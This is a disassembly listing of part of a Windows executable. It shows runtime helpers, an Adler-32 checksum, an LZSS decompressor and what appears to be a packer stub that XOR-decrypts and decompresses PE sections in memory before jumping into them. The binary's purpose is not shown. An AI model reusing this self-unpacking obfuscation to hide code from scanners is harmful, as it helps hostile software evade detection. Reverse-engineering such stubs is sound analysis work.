		mov	eax, ds:dword_4A710C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_48DE2E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_49FB00
		push	esi
		call	ds:dword_49F048	; GetStringTypeW
		test	eax, eax
		jz	short loc_48DE0C
		mov	eax, esi
		jmp	short loc_48DE29
; ---------------------------------------------------------------------------

loc_48DE0C:				; CODE XREF: sub_48DDBF+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_49FAFC
		push	esi
		push	ebx
		call	ds:dword_49F030	; GetStringTypeA
		test	eax, eax
		jz	loc_48DEF4
		push	2
		pop	eax

loc_48DE29:				; CODE XREF: sub_48DDBF+4Bj
		mov	ds:dword_4A710C, eax

loc_48DE2E:				; CODE XREF: sub_48DDBF+2Fj
		cmp	eax, 2
		jnz	short loc_48DE57
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_48DE3F
		mov	eax, ds:dword_4A70F4

loc_48DE3F:				; CODE XREF: sub_48DDBF+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_49F030	; GetStringTypeA
		jmp	loc_48DEF6
; ---------------------------------------------------------------------------

loc_48DE57:				; CODE XREF: sub_48DDBF+72j
		cmp	eax, 1
		jnz	loc_48DEF4
		cmp	[ebp+arg_10], ebx
		jnz	short loc_48DE6D
		mov	eax, ds:dword_4A7104
		mov	[ebp+arg_10], eax

loc_48DE6D:				; CODE XREF: sub_48DDBF+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_49F044	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_48DEF4
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_48DD90
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_48DF10
		add	esp, 0Ch
		jmp	short loc_48DEC3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_48DEC3:				; CODE XREF: sub_48DDBF+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_48DEF4
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_49F044	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_48DEF4
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_49F048	; GetStringTypeW
		jmp	short loc_48DEF6
; ---------------------------------------------------------------------------

loc_48DEF4:				; CODE XREF: sub_48DDBF+61j
					; sub_48DDBF+9Bj ...
		xor	eax, eax

loc_48DEF6:				; CODE XREF: sub_48DDBF+93j
					; sub_48DDBF+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_48DDBF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_48DF10	proc near		; CODE XREF: sub_48DDBF+EFp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_48DF63
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_48DF57
		neg	ecx
		and	ecx, 3
		jz	short loc_48DF39
		sub	edx, ecx

loc_48DF33:				; CODE XREF: sub_48DF10+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_48DF33

loc_48DF39:				; CODE XREF: sub_48DF10+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_48DF57
		rep stosd
		test	edx, edx
		jz	short loc_48DF5D

loc_48DF57:				; CODE XREF: sub_48DF10+18j
					; sub_48DF10+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_48DF57

loc_48DF5D:				; CODE XREF: sub_48DF10+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_48DF63:				; CODE XREF: sub_48DF10+Aj
		mov	eax, [esp+arg_0]
		retn
sub_48DF10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_48DF68	proc near		; CODE XREF: sub_48D454+13p
		jmp	ds:dword_49F03C
sub_48DF68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DF6E	proc near		; CODE XREF: sub_48E2E0+183p
					; sub_48E2E0+361p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		and	esi, 0FFFFh
		shr	edi, 10h
		test	ecx, ecx
		jnz	short loc_48DF90
		push	1
		pop	eax
		jmp	loc_48E083
; ---------------------------------------------------------------------------

loc_48DF90:				; CODE XREF: sub_48DF6E+18j
		cmp	[ebp+arg_8], 0
		jbe	loc_48E07C
		push	ebx

loc_48DF9B:				; CODE XREF: sub_48DF6E+107j
		mov	edx, 15B0h
		cmp	[ebp+arg_8], edx
		jnb	short loc_48DFA8
		mov	edx, [ebp+arg_8]

loc_48DFA8:				; CODE XREF: sub_48DF6E+35j
		sub	[ebp+arg_8], edx
		cmp	edx, 10h
		jl	loc_48E04B
		mov	eax, edx
		shr	eax, 4
		mov	ebx, eax
		neg	ebx
		shl	ebx, 4
		add	edx, ebx

loc_48DFC2:				; CODE XREF: sub_48DF6E+D7j
		movzx	ebx, byte ptr [ecx]
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, ebx
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_48DFC2

loc_48E04B:				; CODE XREF: sub_48DF6E+40j
		test	edx, edx
		jz	short loc_48E05A

loc_48E04F:				; CODE XREF: sub_48DF6E+EAj
		movzx	eax, byte ptr [ecx]
		add	esi, eax
		inc	ecx
		add	edi, esi
		dec	edx
		jnz	short loc_48E04F

loc_48E05A:				; CODE XREF: sub_48DF6E+DFj
		mov	ebx, 0FFF1h
		mov	eax, esi
		xor	edx, edx
		mov	esi, ebx
		div	esi
		mov	eax, edi
		mov	esi, edx
		xor	edx, edx
		div	ebx
		cmp	[ebp+arg_8], 0
		mov	edi, edx
		ja	loc_48DF9B
		pop	ebx

loc_48E07C:				; CODE XREF: sub_48DF6E+26j
		mov	eax, edi
		shl	eax, 10h
		or	eax, esi

loc_48E083:				; CODE XREF: sub_48DF6E+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_48DF6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E090	proc near		; CODE XREF: sub_48E2E0+15Ep
					; sub_48E2E0+33Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+14h], 0
		mov	eax, [ebp+var_1C]
		mov	dword ptr [eax+10h], 0
		mov	[ebp+var_10], 0
		jmp	short loc_48E0E2
; ---------------------------------------------------------------------------

loc_48E0D9:				; CODE XREF: sub_48E090+65j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx

loc_48E0E2:				; CODE XREF: sub_48E090+47j
		cmp	[ebp+var_10], 0FEEh
		jge	short loc_48E0F7
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx+18h], 20h
		jmp	short loc_48E0D9
; ---------------------------------------------------------------------------

loc_48E0F7:				; CODE XREF: sub_48E090+59j
		mov	[ebp+var_8], 0FEEh
		mov	[ebp+var_4], 0

loc_48E105:				; CODE XREF: sub_48E090:loc_48E236j
		mov	eax, [ebp+var_4]
		shr	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jnz	short loc_48E139
		mov	ecx, [ebp+var_1C]
		call	sub_48E250
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_48E130
		jmp	loc_48E23B
; ---------------------------------------------------------------------------

loc_48E130:				; CODE XREF: sub_48E090+99j
		mov	edx, [ebp+var_C]
		or	dh, 0FFh
		mov	[ebp+var_4], edx

loc_48E139:				; CODE XREF: sub_48E090+88j
		mov	eax, [ebp+var_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_48E18A
		mov	ecx, [ebp+var_1C]
		call	sub_48E250
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_48E159
		jmp	loc_48E23B
; ---------------------------------------------------------------------------

loc_48E159:				; CODE XREF: sub_48E090+C2j
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_48E290
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	loc_48E236
; ---------------------------------------------------------------------------

loc_48E18A:				; CODE XREF: sub_48E090+B1j
		mov	ecx, [ebp+var_1C]
		call	sub_48E250
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_48E1A0
		jmp	loc_48E23B
; ---------------------------------------------------------------------------

loc_48E1A0:				; CODE XREF: sub_48E090+109j
		mov	ecx, [ebp+var_1C]
		call	sub_48E250
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_48E1B6
		jmp	loc_48E23B
; ---------------------------------------------------------------------------

loc_48E1B6:				; CODE XREF: sub_48E090+11Fj
		mov	edx, [ebp+var_14]
		and	edx, 0F0h
		shl	edx, 4
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0Fh
		add	ecx, 2
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], 0
		jmp	short loc_48E1E8
; ---------------------------------------------------------------------------

loc_48E1DF:				; CODE XREF: sub_48E090+1A4j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx

loc_48E1E8:				; CODE XREF: sub_48E090+14Dj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jg	short loc_48E236
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_18]
		and	ecx, 0FFFh
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+ecx+18h]
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_48E290
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	short loc_48E1DF
; ---------------------------------------------------------------------------

loc_48E236:				; CODE XREF: sub_48E090+F5j
					; sub_48E090+15Ej
		jmp	loc_48E105
; ---------------------------------------------------------------------------

loc_48E23B:				; CODE XREF: sub_48E090+9Bj
					; sub_48E090+C4j ...
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_48E090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E250	proc near		; CODE XREF: sub_48E090+8Dp
					; sub_48E090+B6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+14h]
		cmp	edx, [ecx+8]
		jb	short loc_48E26A
		or	eax, 0FFFFFFFFh
		jmp	short loc_48E28B
; ---------------------------------------------------------------------------

loc_48E26A:				; CODE XREF: sub_48E250+13j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		xor	edx, edx
		mov	dl, [ecx+eax]
		mov	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+14h], edx

loc_48E28B:				; CODE XREF: sub_48E250+18j
		mov	esp, ebp
		pop	ebp
		retn
sub_48E250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E290	proc near		; CODE XREF: sub_48E090+CFp
					; sub_48E090+17Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+10h]
		cmp	edx, [ecx+0Ch]
		jb	short loc_48E2AC
		jmp	short loc_48E2CD
; ---------------------------------------------------------------------------

loc_48E2AC:				; CODE XREF: sub_48E290+18j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	dl, byte ptr [ebp+var_8]
		mov	[ecx+eax], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+10h], ecx

loc_48E2CD:				; CODE XREF: sub_48E290+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_48E290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E2E0	proc near		; CODE XREF: _4:loc_48E700p

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	esi
		push	edi
		push	0
		call	ds:dword_49F014	; GetModuleHandleA
		mov	[ebp+var_18], eax
		push	0D440h
		push	40h
		call	ds:dword_49F010	; LocalAlloc
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 3FAh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 4
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_44], 1
		mov	[ebp+var_30], 0
		mov	[ebp+var_3C], offset aBarier ; "BARIER"

loc_48E333:				; CODE XREF: sub_48E2E0+98j
					; sub_48E2E0+A0j
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	edx, [ebp+var_44]
		imul	edx, 28h
		sub	ecx, edx
		mov	[ebp+var_30], ecx
		mov	eax, [ebp+var_44]
		add	eax, 1
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_18]
		add	edx, [ecx+0Ch]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	edx, [ebp+var_30]
		add	ecx, [edx+8]
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+var_3C]
		ja	short loc_48E333
		mov	ecx, [ebp+var_3C]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_48E333
		mov	edx, [ebp+var_40]
		mov	[ebp+var_20], edx
		jmp	short loc_48E393
; ---------------------------------------------------------------------------

loc_48E38A:				; CODE XREF: sub_48E2E0+DAj
		mov	eax, [ebp+var_40]
		add	eax, 4
		mov	[ebp+var_40], eax

loc_48E393:				; CODE XREF: sub_48E2E0+A8j
		mov	ecx, [ebp+var_40]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_48E3BC
		mov	edx, [ebp+var_20]
		imul	edx, 19660Dh
		add	edx, 3C6EF375h
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		xor	ecx, [ebp+var_20]
		mov	edx, [ebp+var_40]
		mov	[edx], ecx
		jmp	short loc_48E38A
; ---------------------------------------------------------------------------

loc_48E3BC:				; CODE XREF: sub_48E2E0+B9j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+8]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		push	edx
		push	40h
		call	ds:dword_49F010	; LocalAlloc
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_48E400
		cmp	[ebp+var_38], 10000h
		jbe	short loc_48E411

loc_48E400:				; CODE XREF: sub_48E2E0+115j
		push	0
		push	0
		push	0
		push	0EF0000FEh
		call	ds:dword_49F00C	; RaiseException

loc_48E411:				; CODE XREF: sub_48E2E0+11Ej
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_24]
		add	esi, 0Ch
		mov	edi, [ebp+var_1C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	ecx, [ebp+var_8]
		call	sub_48E090
		cmp	eax, [ebp+var_28]
		jz	short loc_48E459
		push	0
		push	0
		push	0
		push	0EF0000F8h
		call	ds:dword_49F00C	; RaiseException

loc_48E459:				; CODE XREF: sub_48E2E0+166j
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_48DF6E
		add	esp, 0Ch
		cmp	eax, [ebp+var_34]
		jz	short loc_48E481
		push	0
		push	0
		push	0
		push	0EF0000FAh
		call	ds:dword_49F00C	; RaiseException

loc_48E481:				; CODE XREF: sub_48E2E0+18Ej
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	ds:dword_49F008	; LocalFree
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_49F014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_48E4B0
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_49F00C	; RaiseException

loc_48E4B0:				; CODE XREF: sub_48E2E0+1BDj
		push	offset aFlushinstructi ; "FlushInstructionCache"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2670, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	[ebp+var_14], eax
		cmp	ds:dword_4A2670, 0
		jnz	short loc_48E4F0
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_49F00C	; RaiseException

loc_48E4F0:				; CODE XREF: sub_48E2E0+1FDj
		call	[ebp+var_14]
		mov	ds:dword_4A268C, eax
		mov	[ebp+var_48], 0
		mov	[ebp+var_68], 3
		mov	[ebp+var_58], 0

loc_48E50D:				; CODE XREF: sub_48E2E0+272j
					; sub_48E2E0+27Aj
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		imul	edx, 28h
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	ecx, [ebp+var_68]
		imul	ecx, 28h
		sub	eax, ecx
		mov	[ebp+var_58], eax
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_58]
		mov	eax, [ebp+var_18]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_58]
		add	eax, [ecx+8]
		mov	[ebp+var_54], eax
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+arg_0]
		jnb	short loc_48E50D
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_54]
		jnb	short loc_48E50D
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_64]
		add	eax, 0Ch
		and	al, 0FCh
		mov	[ebp+var_64], eax
		jmp	short loc_48E57E
; ---------------------------------------------------------------------------

loc_48E575:				; CODE XREF: sub_48E2E0+2C4j
		mov	ecx, [ebp+var_64]
		add	ecx, 4
		mov	[ebp+var_64], ecx

loc_48E57E:				; CODE XREF: sub_48E2E0+293j
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+var_54]
		jnb	short loc_48E5A6
		mov	eax, [ebp+var_4C]
		imul	eax, 19660Dh
		add	eax, 3C6EF375h
		mov	[ebp+var_4C], eax
		mov	ecx, [ebp+var_64]
		mov	edx, [ecx]
		xor	edx, [ebp+var_4C]
		mov	eax, [ebp+var_64]
		mov	[eax], edx
		jmp	short loc_48E575
; ---------------------------------------------------------------------------

loc_48E5A6:				; CODE XREF: sub_48E2E0+2A4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_50], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_60], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_5C], eax
		mov	ecx, [ebp+var_60]
		push	ecx
		push	40h
		call	ds:dword_49F010	; LocalAlloc
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_48E5DE
		cmp	[ebp+var_60], 10000h
		jbe	short loc_48E5EF

loc_48E5DE:				; CODE XREF: sub_48E2E0+2F3j
		push	0
		push	0
		push	0
		push	0EF0000FFh
		call	ds:dword_49F00C	; RaiseException

loc_48E5EF:				; CODE XREF: sub_48E2E0+2FCj
		mov	ecx, [ebp+var_60]
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	edi, [ebp+var_48]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_60]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		mov	ecx, [ebp+var_8]
		call	sub_48E090
		cmp	eax, [ebp+var_50]
		jz	short loc_48E637
		push	0
		push	0
		push	0
		push	0EF0000F9h
		call	ds:dword_49F00C	; RaiseException

loc_48E637:				; CODE XREF: sub_48E2E0+344j
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		call	sub_48DF6E
		add	esp, 0Ch
		cmp	eax, [ebp+var_5C]
		jz	short loc_48E65F
		push	0
		push	0
		push	0
		push	0EF0000FBh
		call	ds:dword_49F00C	; RaiseException

loc_48E65F:				; CODE XREF: sub_48E2E0+36Cj
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, ds:dword_4A268C
		push	edx
		call	ds:dword_4A2670	; FlushInstructionCache
		mov	eax, [ebp+var_48]
		push	eax
		call	ds:dword_49F008	; LocalFree
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_49F008	; LocalFree
		push	offset dword_4A2A28
		call	ds:dword_49F000	; InitializeCriticalSection
		push	offset dword_4A2930
		call	ds:dword_49F000	; InitializeCriticalSection
		call	sub_48F2E0
		push	80h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_48E6C6
		mov	ecx, [ebp+var_6C]
		call	sub_48EDD0
		mov	[ebp+var_70], eax
		jmp	short loc_48E6CD
; ---------------------------------------------------------------------------

loc_48E6C6:				; CODE XREF: sub_48E2E0+3D7j
		mov	[ebp+var_70], 0

loc_48E6CD:				; CODE XREF: sub_48E2E0+3E4j
		mov	edx, offset dword_48E720
		mov	eax, [ebp+var_70]
		mov	[edx+4], eax
		call	sub_499C17
		mov	ds:dword_4A70DC, eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	ds:dword_4A2698, edx
		mov	eax, [ebp+var_4]
		mov	ds:off_4A269C, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_48E2E0	endp

; ---------------------------------------------------------------------------
		align 10h

loc_48E700:				; CODE XREF: sub_48EB8Dp
		call	sub_48E2E0
		pop	eax
		call	loc_48EE60
		pop	eax
		mov	[esp+24h], eax
		popa
		pop	eax
		pop	eax
		call	eax
		call	sub_49B0BC
; ---------------------------------------------------------------------------
		db 6 dup(0CCh)
dword_48E720	dd 0			; DATA XREF: sub_48E2E0:loc_48E6CDo
					; sub_4957BF+2Bo ...
		db 90h
		db 1Eh,	8Dh, 0
aHereisbootcode	db 27h,'HEREISBOOTCODE',27h,0
		align 10h
		dw 7
		unicode	0, <>,0
a_text		db '.text',0            ; DATA XREF: _6:off_4A269Co
		align 4
		dd 22174h, 1000h, 13600h, 400h,	3 dup(0)
		dd 60000020h, 6164722Eh, 6174h,	1C3Ch, 24000h, 1000h, 13A00h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 656A0h, 26000h, 7600h, 14A00h
		dd 3 dup(0)
		dd 0C0000040h, 6478732Eh, 617461h, 18h,	8C000h,	200h, 1C000h
		dd 3 dup(0)
		dd 0C0000240h, 7865742Eh, 74h, 11ABFh, 8D000h, 0B600h
		dd 1C200h, 3 dup(0)
		dd 0E0000040h, 6164722Eh, 6174h, 0D76h,	9F000h,	0E00h
		dd 27800h, 3 dup(0)
